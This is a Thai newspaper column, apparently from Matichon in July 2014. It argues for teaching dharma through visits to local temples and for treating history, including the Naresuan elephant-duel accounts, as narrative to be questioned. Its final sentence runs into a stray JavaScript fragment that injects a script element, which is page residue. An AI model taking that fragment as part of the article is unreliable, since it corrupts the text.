Download PDF

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 11 กรกฎาคม 2557

 

รู้ธรรม อย่างธรรมชาติและธรรมดา

          “สิ่งที่เหมาะสมที่สุด คือส่งเสริมให้นักเรียนและบุคลากรของ สพฐ. ไปร่วมกิจกรรมทางพุทธศาสนากับวัดใกล้บ้าน ประจำท้องถิ่น”

          นายกมล รอดคล้าย เลขาธิการคณะกรรมการการศึกษาขั้นพื้นฐาน (กพฐ.) กล่าวถึงกรณีที่มีเสียงวิพากษ์วิจารณ์ว่า สพฐ. เกณฑ์บุคลากรและสนับสนุนให้โรงเรียนพานักเรียนเข้าร่วมกิจกรรมทางพุทธศาสนาในวัดชื่อดังแห่งหนึ่งย่านปทุมธานี จึงขอทบทวนใหม่

          อย่างนี้ขอสนับสนุนเต็มที่ เพราะในชุมชนหมู่บ้านส่วนมากเป็นวัดเก่าแก่มีมาพร้อมชุมชน (ยกเว้นวัดสร้างใหม่ที่ขยายตัวออกไปตามชุมชน)

          ดังนั้น ประวัติวัดกับประวัติชุมชนจึงคู่กัน นับเป็นประวัติศาสตร์สังคม หรือประวัติศาสตร์ท้องถิ่น อย่างตรงไปตรงมาชัดเจนที่สุด

          บางวัดมีศิลปกรรมชั้นเยี่ยม เหมาะสำหรับศึกษาประวัติศาสตร์ศิลปกรรมท้องถิ่น ที่เอาไปต่อยอดเป็นงานร่วมสมัยได้

          สภาพแวดล้อมทั้งทางประวัติศาสตร์ท้องถิ่น และประวัติศาสตร์ศิลปะ สนับสนุนให้เกิดมีธรรมะได้โดยไม่ต้องเอ่ยคำว่าธรรมะแม้สักคำเดียว

          ครูพานักเรียนเข้าวัดแล้วศึกษาความเป็นมาของสิ่งต่างๆในวัด เช่น ช่อฟ้า ฯลฯ โดยไม่จำเป็นต้องฟังพระเทศน์ (ที่น่าเบื่อหน่ายมากกกก) นักเรียนย่อมรู้ธรรมะได้โดยธรรมชาติและเป็นธรรมดา

          ไม่ต้องดัดจริตท่องจำอาราธนาศีลและอาราธนาธรรมก็ได้

 

นิยายในประวัติศาสตร์

          ระหว่างความจริงกับประวัติศาสตร์ (ในหนังสือเรียน) จะสอนนักเรียนอย่างไรดี?

          ครูท่านหนึ่งถาม เมื่อผมไปสนทนาบอกเล่าเรื่องวัฒนธรรมร่วมอาเซียนที่ศูนย์พัฒนาการเรียนรู้ศิลปะ อยุธยา โรงเรียนเสนา “เสนาประสิทธิ์” อ. เสนา อยุธยา เมื่อเช้าวันเสาร์ที่ 5 กรกฎาคม ที่ผ่านมา

          ผมบอกสั้นๆว่าไม่ต้องสอน แต่เปลี่ยนเป็นแนะนำ พูดคุย ตั้งคำถาม เพราะประวัติศาสตร์เป็นนิยายอย่างหนึ่งถึงยังไงก็ไม่จริงทั้งนั้น ไม่มีความจริงทั้งหมด โดยผมไม่ทันบอกรายละเอียดอะไร เพราะบรรยากาศไม่ให้ จะขอเขียนเพิ่มเติม ดังนี้

          ในกฎมณเฑียรบาล มีบอกไว้ตอนหนึ่งว่า 7 ทุ่ม เบีกนิยาย

          หมายความว่าเมื่อได้เวลา 7 ทุ่ม เทียบปัจจุบันคือ ตี 1 เจ้าพนักงานฝ่ายใน (ซึ่งเป็นผู้หญิง) ทำหน้าที่เล่า “นิยาย” หมายถึงพงศาวดาร เทียบปัจจุบัน คือ ประวัติศาสตร์

          นักปราชญ์ตะวันตกเคยพูดไว้นานแล้ว ว่าประวัติศาสตร์คือนิยายชุดหนึ่ง (ผมจำขี้ปากจากครูบาอาจารย์ผู้ใหญ่มาอีกทอดหนึ่ง) จะเห็นว่าสอดคล้องกันมาก

          เพราะพงศาวดารหรือประวัติศาสตร์ถูกเขียนขึ้น หรือบอกเล่าโดยคนสมัยหลัง เท่ากับผ่านวรรณศิลป์ของผู้เขียนผู้เล่าจะสร้างสรรค์อะไรขึ้นมาก็ได้ คนฟังไม่รู้ (แต่ตรงนี้มีผู้ไม่เห็นด้วย เพราะเชื่อว่าประวัติศาสตร์จริงทั้งนั้น)

          ยกตัวอย่างกรณียุทธหัตถี ในตำราเรียนทั่วไปว่าพระนเรศวรชนช้างตัวต่อตัวกับพระมหาอุปราชา พระนเรศวรฟันพระมหาอุปราชาขาดคอช้างด้วยพระแสงของ้าว ครั้นเสร็จศึกพระนเรศวรสร้างพระเจดีย์บรรจุพระศพพระมหาอุปราชาไว้ที่หนองสาหร่าย เมืองสุพรรณ

          แต่ในพงศาวดารพม่าว่ามีสงครามด้วยกองทัพช้าง โดยต่างฝ่ายต่างขี่ช้างออกรบ พระมหาอุปราชาถูกปืน แล้วไพร่พลกันเอาพระศพเชิญกลับไปทำพิธีปลงศพที่เมืองหงสาวดี ในพม่า

          ไม่จำเป็นต้องสรุปว่าฝ่ายไหนจริง ฝ่ายไหนไม่จริง แต่ควรร่วมกันตั้งคำถาม ตั้งข้อสงสัยไปที่แต่ละฝ่ายว่าตรงไหนน่าเชื่อ? ตรงไหนยังไม่น่าเชื่อ? ด้วยเหตุผลอะไร? ทำไม? ฯลฯ

          แล้วทักท้วงถกเถียงกันโดยไม่มีข้อยุติd.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);